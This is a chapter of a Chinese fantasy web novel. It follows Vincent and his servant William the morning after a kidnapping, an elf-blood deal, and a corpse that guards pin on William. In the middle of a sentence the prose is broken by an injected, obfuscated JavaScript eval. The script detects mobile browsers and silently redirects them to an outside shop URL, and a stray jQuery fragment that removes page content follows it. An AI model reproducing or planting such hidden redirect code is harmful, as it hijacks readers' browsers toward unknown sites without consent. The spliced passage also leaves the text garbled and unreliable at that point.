文森醒来浑身酸痛,宿醉的昏沉让他对眼前的情景解释无能。
他低头看了眼,不是他的衣服。
沉睡的青年揽着文森的腰,一想推开他,贴在腰间的宽大手掌便把他往怀里带。威廉的脸颊近在咫尺,文森不常打量他的脸,青年的五官如今已经长开,眉眼深邃,鼻梁高挺,合起的眼睫像一只欲飞的黑鸦。
如此近的距离,让文森很难再忽略抱着自己的人已经是个成年男性,而不是小时候可以逗着玩的孩子。
文森从齿间勉强挤出几个字:“威廉,放手。”
那张脸迷糊凑过来,文森浑身僵住。毛绒脑袋搭在他的颈窝,蹭了蹭,呼吸深沉。
相贴处泛起的麻意蔓延开,威廉温热的呼吸还在颈侧的皮肤上。文森耳尖通红,掰着威廉的小臂尝试脱身。
分隔去壮游的这两年,威廉常在密林打猎为生,文森在他臂上摸索想找个合适的发力点,只摸到了一些旧疤。他的指尖触到威廉因受伤缠的绷带,最终还是止住了动作。
不知道这人是故意的还是真的在睡觉,威廉几乎要把整个身子压在他身上,文森不敢再动了。
终于熬到这人睡醒。
威廉低头,文森的脑袋在他怀里,身体被自己桎梏在身前。
“您什么时候醒的?”威廉困意瞬间褪去,慌忙松开手,整个上半身往后挪。
文森踢了脚还伸在他当中的小腿。
毯子底下一阵乱动,威廉吃痛,瞬间移到床边:“抱歉!”
“下去。”
“好的!”威廉连滚带爬到椅子上。
文森从毯子里坐直身,银发翘起几根小弯。威廉的衬衫对他来说有些大了,肩线往下垂,袖口盖住大半个手掌。
他扶着额头,面颊和耳朵有些潮红,眼睛满是宿醉的血丝,在窄床上没有说话。
文森向来大度,无论是调班还是加薪,他总是笑着同意,但他一旦面无表情地沉默……
那绝对死定了。
“我不是故意的!”威廉立刻挽回,“我可以解释!”
室内沉积了一晚的空气像发出热气的焦沙,填住两人的口舌,只是窗缝吹来的微弱气流已经无法缓解因密闭产生的阻塞感。
文森许久才开口,声音微哑:“我昨晚喝醉了。”
“你走后我和阿尔曼喝了几杯酒,后来的事我没什么印象。”
他似乎想在脑内再搜刮一些记忆出来,结果只叹了口气,把还在腿上的毯子掀到一边:“到你了。”
“呃……”威廉局促地坐在椅子上,看了眼他的心口,小心试探,“您有没有觉得…哪里疼?”
“为什么我会觉得哪里疼?”文森压了几声重音。
胸口满是血污的衬衫就在威廉脚边,他还能想起昨晚扑鼻而来的血腥味,和当时几近没入胸腔的拆信刀。
回忆中刀掉在地上的叮当脆响,打醒了他尚存绮念的头脑。
文森忘了?
威廉有些懵:“您……不记得昨晚的事了吗?”
“不用提了。”文森打断,“我的衣服呢?”
“在地上,可能有点脏……所以,您还是先穿我的吧。”威廉瞟了眼地上的衬衫,一时不知道该不该让文森看到,脚已经把它往床底踢去。
如果看到,文森就会知道他发现他中刀没有伤口的事。
如果没看到,威廉还能把这段抹掉,当作没发生,昨晚文森断片了,现在醒了只会以为……
等等。
威廉突然冒出一个很诡异的想法。
早上的事加在一起。
文森不会以为他们酒后乱性了吧?
威廉腾地站起,耳朵烧红,额头沁出汗珠:“您一定要听我解释一下了!”
“我没有那么想听!”
“您昨晚被绑架了。”威廉口条不太清楚,只一股脑说出来,“阿尔曼想要精灵血的供货渠道,所以把您骗到二楼休息室拷问。”
文森说话还是有些迟钝:“然后?”
“然后我把您救了出来,晚上先住在这里,等您醒酒再作安排。”威廉快速倒完,“您明白了吧?”
言毕,文森的眼神带着狐疑,扫了几眼他。
威廉摆出最真诚的面孔。
好在片刻,文森掠过了后半夜的事,只是找出卷在毯子里的发带,用手理顺头发:“还发生了什么?在瓦尔蒙特。”
“绑架贵族估计阿尔曼不敢往外说。”威廉半藏半掩,“他和您起了一些冲突,但没有搜到精灵血。”
文森捏着发带的手指停顿,随意扎了个结,把垂散的发丝一并捋至肩后:“……差点忘了。”
他在窗边敲了两下。
没什么反应,他再次重敲,不耐烦地拉长了间隔。
窗边出现一双手,片刻艰难探上半个脑袋,皱皮橘子推开窗翻进室内,褶皱里全是汗,大口喘息。
文森说了两句听不懂的语言,摊开手掌。
皱皮橘子解开粗麻外套,三管精灵血藏在他的内衬里。他一管管取出,小心放在文森的掌心。
透着阳光,文森晃了一下玻璃管。
银白的光点在半透明的介质里旋转、回流、再归于平静。
九万五千金币,就只是三瓶小小的树汁。
“去买点吃的回来,还有得体的衣服。”文森把玻璃管放进衬衣口袋,“下午去瓦尔蒙特交货。”
“下午?”威廉道。
昨晚刚从阿尔曼手里逃出来,今天就回去?
那不是回去送死?
“买家也在。”文森说,“一直都是这样,第二天在东道主的府邸里交货收金。”
威廉对阿尔曼的品德不是很信任:“安全吗?”
“他不敢在别的贵族面前动手。”
“您昨晚就是这样没的。”
“……”文森不太想聊这个话题,“那我们白干一场,放掉侯爵鸽子,灰溜溜地回黑柏林?”
威廉无奈站起:“我去买吃的。”
他转身要出门,摸了摸裤袋。
……
一个子都没有。
“先生,我没钱了。”威廉站在门口。
文森道:“不是刚发过吗?”
威廉瞥了一眼皱皮橘子。
皱皮橘子捂住鼓囊的口袋,要往窗外翻,文森钩住他的后衣领,把他定在原地。
他们低语了几句。
威廉不知道是低语还是恐吓。
皱皮橘子不情愿地从口袋里抓出一把银币,放在威廉手上。
文森眼皮上下一略,皱皮橘子边发出哼唧气音,边把口袋掏空,把昨天要的银币全部还了回来,完毕讨好地蹭了蹭文森的手。文森不着痕迹地抽开手,皱皮橘子也没尴尬,弯着笑容从窗边爬了回去。
“以后不要老老实实地给陌生人钱。”文森让威廉好好放进钱袋,“我给过它三个金币了。”
威廉没仔细数,不知道那奸滑老头有没有少几个银币,下楼出旅店买东西。
昨晚横在过道的醉鬼还在这里,只是挪到了阴凉处,歪撇着脑袋。
穿过一条街,遇到成衣店,威廉的余钱不多,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17764292|209643||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只能咬着牙按印象里的尺寸买了马甲和外套,转眼就只剩几个银币攥在手里。
街边餐馆烟囱向上蒸腾着炊烟,饭点里面人来人往,威廉挤在柜台边站着,等后厨把他点的兔肉派送过来。
门口进来几个白色制服的人,拉开椅子,坐在门口的圆桌边。
瓦尔蒙特的人?
威廉往柜台挪了几步,躲在结账的人群后。
“搜了三条街,也没找到那个罪犯。”粗眉男人咬了口黄油面包,“杀了人能躲到哪去?”
坐对面的年轻人叹气:“伯爵大人也真倒霉,好不容易主办次拍卖会,府邸里就出了命案。”
声音嘈杂,威廉听不太清。
瓦尔蒙特死人了?威廉记得出了园艺房之后没再看见卫兵,都往楼里赶了吗?
“能拿到工钱再心疼上级吧。”女人随便指了几个菜,把菜单还给服务员,压低声音,“尸体在温室发现的,传说是外地人,死得可惨,脸都烂了。”
“得了吧,你说得我都不敢去抓了。”年轻人挤起眉毛恶寒,“不是说为了劫财吗?”
“我遇到过那个黑头发小子,他进府的时候就都是血!”粗眉男人声音突然大起来,绘声绘色,“看起来就不是好货,我当时就该拦下来。”
威廉思考了一下。
谁。我?
我杀人?还划脸?什么时候。
等了半刻的兔肉派终于送来,隔着油纸也觉得滚烫。白衣仆人的桌子就在门口,他们刚上了菜,大口吞食。
威廉拎着细麻绳,试图藏在人群里绕过圆桌。那粗眉男人正喝酒,视线无意扫过来,在威廉脸上多停留了几秒。
威廉快步走出餐馆,拐进小巷,看身后无人,快速往旅店赶。
外地人、没有脸、昨晚。
果然,阿尔曼也觉得那把刀捅进去后文森必死无疑,想在威廉跑回黑柏林前先发制人,把绑杀贵族的罪名放在他头上。
他推开房门,文森已经起床了,正在慢条斯理地整理袖口。他惯会把不合适的东西粉饰妥当,宽大的衬衣也显得合身起来。
“先生,阿尔曼的搜捕队在找我们。”威廉把油纸包放在桌上,合上门,“他们在温室发现了一具尸体,说是我杀的。”
“尸体的脸烂了,我觉得……”威廉正想继续说,余光瞥见那件本该在床底的血衬衣,被平整叠放在皮革箱里。
他的话卡在喉间,嘴唇张合。
“你觉得,那应该是用来代替我的尸体,对吧?”
文森接上他的话,转过身面朝威廉。
室内窗帘半掩,挡了大半阳光。文森看起来和以前别无两样,温柔的表情,平缓的语调。
如果他谈论的不是这件事的话。
“我已经死了。他这样觉得。”
文森拆开威廉带回来的包裹,穿上新买的马甲,一颗颗扭上扣子,“死在了昨天晚上,至于尸体在府邸内和府邸外,对他来说没区别。”
他微侧,向威廉抬起左手:“他编了什么戏码?”
威廉反应了一下,僵着手拆开包裹里的外套,帮他穿上袖子,终于找回自己的声音:“应该是…为了钱弑主害命。”
“仆人难以辩解的罪名。”文森颔首,“就地处决,别的贵族不会有异议。”
威廉不敢看他的眼睛,只拉平外套领口,这件衣服还是不太合适,肩线有些歪扭。他想了一会儿,问:“我们怎么办?”
“回瓦尔蒙特。”文森并不在意,整理完便与威廉拉开距离。
“死人也该露面说话了。”